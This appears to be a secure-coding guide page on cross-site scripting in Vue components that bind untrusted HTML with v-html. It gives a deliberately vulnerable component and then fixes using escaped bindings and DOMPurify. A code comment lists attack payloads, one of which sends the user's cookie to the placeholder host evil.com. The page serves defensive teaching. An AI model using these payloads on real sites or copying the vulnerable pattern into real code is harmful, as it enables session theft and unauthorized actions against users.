Cross-site scripting (XSS) via untrusted HTML bound with v-html in Vue component

High Risk Injection
xssvuetemplatev-htmlfrontendweb

What it is

XSS could execute attacker-controlled scripts in the browser, stealing sessions, altering page content, or performing actions as the user.

<!-- UserProfile.vue - VULNERABLE -->
<template>
  <div class="user-profile">
    <h2>{{ user.name }}</h2>

    <!-- XSS vulnerability: v-html with user data -->
    <div class="bio" v-html="user.bio"></div>

    <!-- Another XSS risk -->
    <div class="signature" v-html="userSignature"></div>

    <!-- Dangerous: Dynamic HTML from URL params -->
    <div v-html="$route.query.message"></div>
  </div>
</template>

<script>
export default {
  name: 'UserProfile',
  data() {
    return {
      user: {
        name: 'John Doe',
        bio: '' // Populated from API/user input
      },
      userSignature: '' // From form input
    };
  },
  async mounted() {
    // Fetching user data that could contain malicious HTML
    const response = await fetch('/api/user/profile');
    this.user = await response.json();

    // Getting signature from URL parameter
    this.userSignature = this.$route.query.signature || '';
  }
}
</script>

<!-- Attack vectors:
?signature=<script>alert('XSS')</script>
?message=<img src=x onerror="fetch('/api/user/delete', {method:'POST'})">
Bio field: <script>document.location='//evil.com/steal?cookie='+document.cookie</script>
-->
<!-- UserProfile.vue - SECURE -->
<template>
  <div class="user-profile">
    <h2>{{ user.name }}</h2>

    <!-- SECURE: Text interpolation auto-escapes HTML -->
    <div class="bio">{{ user.bio }}</div>

    <!-- SECURE: No v-html directive -->
    <div class="signature">{{ userSignature }}</div>

    <!-- SECURE: URL params rendered as text -->
    <div>{{ $route.query.message }}</div>
  </div>
</template>

<script>
export default {
  name: 'UserProfile',
  data() {
    return {
      user: {
        name: 'John Doe',
        bio: ''
      },
      userSignature: ''
    };
  },
  async mounted() {
    const response = await fetch('/api/user/profile');
    this.user = await response.json();
    this.userSignature = this.$route.query.signature || '';
  }
}
</script>

💡 Why This Fix Works

The vulnerable code uses v-html with untrusted user data. The fixed version uses auto-escaped text bindings, input validation, and DOMPurify for controlled HTML rendering.

Why it happens

Raw HTML is injected with v-html, allowing user-provided content to render as executable markup without encoding or sanitization.

Root causes

Direct v-html Binding with User Data

Raw HTML is injected with v-html, allowing user-provided content to render as executable markup without encoding or sanitization.

Preview example – HTML
<!-- Dangerous: v-html with user content -->
<template>
  <div v-html="userContent"></div>
</template>

Dynamic Content Rendering

Vue components that render user-provided HTML content without proper sanitization.

Preview example – JAVASCRIPT
// Component with v-html vulnerability
export default {
  data() {
    return {
      userComment: this.$route.query.comment
    };
  }
}
// Template: <div v-html="userComment"></div>

Rich Text Editor Output

Displaying rich text editor content without sanitization in Vue templates.

Preview example – HTML
<!-- Unsafe rich text display -->
<template>
  <div class="article-content" v-html="article.content"></div>
</template>

Fixes

1

Use Standard Mustache Bindings

Replace v-html with standard mustache bindings which auto-escape content.

View implementation – HTML
<!-- Safe: Auto-escaped text binding -->
<template>
  <div>{{ userContent }}</div>
</template>

<!-- For multiline text -->
<template>
  <pre>{{ userContent }}</pre>
</template>
2

HTML Sanitization with DOMPurify

If HTML content is required, sanitize input with DOMPurify before using v-html.

View implementation – JAVASCRIPT
// Install: npm install dompurify
import DOMPurify from 'dompurify';

export default {
  computed: {
    sanitizedContent() {
      return DOMPurify.sanitize(this.userContent, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
        ALLOWED_ATTR: []
      });
    }
  }
}

<!-- Template -->
<div v-html="sanitizedContent"></div>
3

Component-based Rendering

Use Vue components to render structured content safely.

View implementation – HTML
<!-- Safe: Component-based rendering -->
<template>
  <UserComment
    :author="comment.author"
    :content="comment.content"
    :timestamp="comment.timestamp"
  />
</template>

<!-- UserComment.vue -->
<template>
  <div class="comment">
    <h4>{{ author }}</h4>
    <p>{{ content }}</p>
    <time>{{ timestamp }}</time>
  </div>
</template>

Detect This Vulnerability in Your Code

Sourcery automatically identifies cross-site scripting (xss) via untrusted html bound with v-html in vue component and many other security issues in your codebase.